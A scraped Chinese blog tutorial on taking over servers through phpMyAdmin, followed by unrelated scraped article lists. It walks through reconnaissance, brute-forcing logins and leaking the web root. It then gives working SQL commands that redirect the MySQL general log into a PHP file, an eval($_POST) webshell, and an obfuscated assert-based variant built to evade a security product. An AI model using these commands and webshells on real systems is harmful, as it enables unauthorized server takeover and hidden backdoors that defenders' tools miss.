生活就是泥沙俱下,鲜花和荆棘并存。——毕淑敏

1、明确目标
2、信息收集
3、漏洞挖掘和利用

信息收集

明确路径

利用目录扫描工具,对目标网站进行扫描,获取网站目录。常用工具有Kali中的DirBuster、dirb和wwwscan等。
我用的是Kali中的DirBuster,对目标进行扫描。

明确版本

利用内置的文件,(…../phpMyAdmin/README)获取phpMyAdmin的版本信息。

一般网站管理员不会把这个目录删除,所以可以成为我们利用的一个点。

明确登录口令

有两种方法,手工和暴力破解。手工就是用一些弱口令进行猜解。
暴力破解可以用phpMyAdmin多线程批量破解工具来对phpMyAdmin进行暴力破解。

但是工具只是给我们提供参考的,而且工具爆破对phpMyAdmin的版本有一定的要求。

明确系统类型

因为系统版本的不同,对权限的控制是不同的。Linux系统对权限的控制相对严格,而window则相对较为疏散的。所以说对window进行getshell相比Linux要容易。

明确php版本和数据库版本

可以在phpMyAdmin的管理也可以看到php版本、MySQL版本,系统类型。

因为php版本的差异,对渗透的利用是不一样的。

获取网站真实路径

phpinfo()函数直接获取

通过phpinfo.php或者phpinfo()进行获取网站真实路径。

php 大专栏  getshell技巧-phpMyAdmin的利用info.php中会有大量的信息,有php版本、网站路径等。

构造报错页面获取网站真实路径

通过构造报错可能会报出网站的真实路径。常见的有页面访问报错、sql注入报错,文件包含报错。
phpmyadmin报错常见路径:
/phpMyAdmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
/phpMyAdmin/themes/darkblue_orange/layout.inc.php
/phpMyAdmin/libraries/select_lang.lib.php
/phpMyAdmin/libraries/lect_lang.lib.php
/phpMyAdmin/libraries/mcrypt.lib.php

借助搜索引擎

借助搜索引擎,例如:百度、谷歌、fofa、shadon、zoomeye等,搜索关键字“error”,可能会报出网站的真实路径。

漏洞挖掘和利用

满足写shell的前提条件

SHOW VARIABLES LIKE “%secure_file_priv%”; 查看读写文件路径 “secure_file_priv”对应的值不能为null,为null就不能正常写入shell。

日志写shell

首先需要检测MySQL全局变量(general_log、general_log_file)的值。
general_log是日志保存状态,一共有两个值(ON/OFF),ON代表开启,OFF代表关闭。
general_log_file是日志的保存路径
1、开启日志保存
set global general_log=”ON”;
set global general_log_file=”D:/phpStudy/WWW/infos.php”(网站真实路径)
2、写shell
select ‘<?php eval($_POST[yumu)];?>’
免杀(绕过安全狗)
$arr = array(‘a’,’s’,’s’,’s’,’e’,’r’,’t’);
$func = “”;
for($i=0;$i<count($arr);$i++){
$func = $func.$arr[$i];
}
$func = substr($func,-6);
$func($_REQUEST[‘c’]);

#总结
在利用phpMyAdmin来getshell时,需要注意对网站信息的收集,特别是网站的PHP版本、网站真实路径。这样才能更好的对网站就行漏洞挖掘。

推荐文章

从phpinfo到phpmyadmin的综合渗透利用

getshell技巧-phpMyAdmin的利用的更多相关文章

  1. Cadence技巧01:利用Excel速新建原理图元件库

    Cadence技巧01:利用Excel速新建原理图元件库 听语音 | 浏览:1698 | 更新:2015-07-02 09:41 | 标签:excel 1 2 3 4 5 6 7 分步阅读 一键约师傅 ...

  2. Getshell Via phpmyadmin SQL Execution In /import.php To Write Evil Webshell File Into Disk

    目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上 ...

  3. phpmyadmin漏洞利用general_log和general_log_file拿权限

    我们如果知道phpmyadmin和网站的绝对路径后,可以利用into outfile写马拿到权限,但是吧有新版本的mysql和一些系统设置的问题这个函数受到了secure-file-priv这个的影响 ...

  4. Redis主从复制getshell技巧

    Redis未授权漏洞常见的漏洞利用方式: Windows下,绝对路径写webshell .写入启动项. Linux下,绝对路径写webshell .公私钥认证获取root权限 .利用contrab计划 ...

  5. 【技巧】只利用 Visual Stdio 自带的工具这么找父类?

    很多人说只能 F12 看见子类 其实vs里面有一个叫“对象浏览器” 通过这个就可以直接定位父类,不需要利用reflector之类的工具来找父类 具体如下:

  6. Java从入门到精通——技巧篇之利用dom4j取出XML文件中的数据

    在我们做项目的时候会经常用到XML文件用来配置系统,XML让系统更加的具有了灵活性,Java如何从XML中取出我们想要的数据呢?下面是我利用DOM4J来实现取出XML文件中的数据. XML文件 < ...

  7. CVE-2018-12613 phpmyadmin文件包含getshell连载(三)

    这是phpmyadmin系列渗透思路的第三篇文章,前面一篇文章阐述了通过慢查询日志getshell,本文将通过文件包含漏洞展开讨论 #001 影响版本 Phpmyadmin 4.8.0/4.8.0.1 ...

  8. phpMyAdmin 4.8.x 本地文件包含漏洞利用

    phpMyAdmin 4.8.x 本地文件包含漏洞利用 今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞:phpmyadmin4.8.1后台getshell.该漏洞利用 ...

  9. phpmyadmin利用的多种方式

    关于phpmyadmin的利用方式大佬们已经总结的很好了,这里只是造轮子(便于记录学习) 确认版本 渗透测试信息搜集永远是首位(也是最重要的一步).     默认目录/doc/html/index ...

随机推荐

  1. python内置模块——time

    python中常见处理时间的函数除了之前介绍的datetime模块,还有一个time模块,其中最著名的一个方法就是sleep,其在线程.进程中常常得到应用. time模块中表示时间的方式一般有以下四种 ...

  2. 测试浏览器是否支持JavaScript脚本

    如果用户不能确定浏览器是否支持JavaScript脚本,那么可以应用HTML提供的注释符号进行验证.HTML注释符号是以 <-- 开始以 --> 结束的.如果在此注释符号内编写 JavaS ...

  3. 网站的ssl证书即将过期,需要续费证书并更新

    SSL这个证书的续费也挺奇怪,续费跟新购买一样. 证书这个东西,申请成功之后,每次都要重新下载,需要处理好格式之后,放在服务器的指定目录里. 大致操作如下: 首先,申请/续费证书,证书下来后,下载下来 ...

  4. linux 下删除乱码的文件夹

    [keke.zhaokk@gw2.mpi2.cm10 /home/keke.zhaokk] $ls -i 85082119 dataMining 85082939 ????֦???-???idޢ??? ...

  5. Matlab高级教程_第二篇:Matlab2016a和VS2013混合

    1. 首先把VS2017的XML两个配置文件放到 2. 然后一步一步的进行选择: 3. 2016版本的deploytool工具已经改版了,具体详细使用如下 4. 编写一个测试函数 我们编译成C#语言的 ...

  6. 二十、linux文件系统讲解

    1.分区和文件系统的关系: 为什么需要格式化呢?这是因为分区文件系统在没有格式化前,操作系统是无法识别系统分区的格式的,就没办法组织文件目录属性和权限等内容,把分区格式化成操作系统支持的某个文件系统后 ...

  7. springboot FreeMarker template error

    注释掉<#list>xxx</#list> 现在运行就不报错了

  8. string判断是否是正常的ip格式

    废话不多说,上代码 bool isCurrectIP(char *ip) { if (ip == NULL) { return false; } char temp[4]; int count = 0 ...

  9. bootstrap的button按钮点击之后会有蓝色边框怎么解决?

    .btn:focus,.btn:active:focus, .btn.active:focus,.btn.focus, .btn:active.focus,.btn.active.focus { ou ...

  10. BZOJ 2318: Spoj4060 game with probability Problem (概率dp)(博弈论)

    2318: Spoj4060 game with probability Problem Description Alice和Bob在玩一个游戏.有n个石子在这里,Alice和Bob轮流投掷硬币,如果 ...